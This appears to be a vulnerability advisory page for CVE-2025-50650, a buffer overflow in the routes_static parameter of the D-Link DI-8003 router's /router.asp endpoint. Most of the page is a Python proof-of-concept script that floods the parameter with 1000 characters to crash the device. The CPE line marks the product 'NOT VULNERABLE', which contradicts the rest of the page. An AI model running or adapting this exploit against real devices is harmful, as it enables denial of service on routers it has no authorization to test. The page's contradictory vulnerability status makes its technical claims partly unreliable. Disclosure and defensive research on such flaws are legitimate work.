A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to inadequate validation of input size in the routes_static parameter in the /router.asp endpoint.
cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit_cve_2025_50650(target_ip):
url = f"http://{target_ip}/router.asp"
# Payload to trigger buffer overflow in routes_static parameter
# Length may need adjustment based on actual buffer size
payload = "A" * 1000
data = {
"routes_static": payload
}
try:
print(f"[+] Sending payload to {url}...")
response = requests.post(url, data=data, timeout=5)
print(f"[-] Request sent. Status code: {response.status_code}")
print("[-] Check if the device has crashed or rebooted.")
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
print("[+] This might indicate a successful DoS (crash).")
if __name__ == "__main__":
target = "192.168.0.1" # Replace with actual target IP
exploit_cve_2025_50650(target)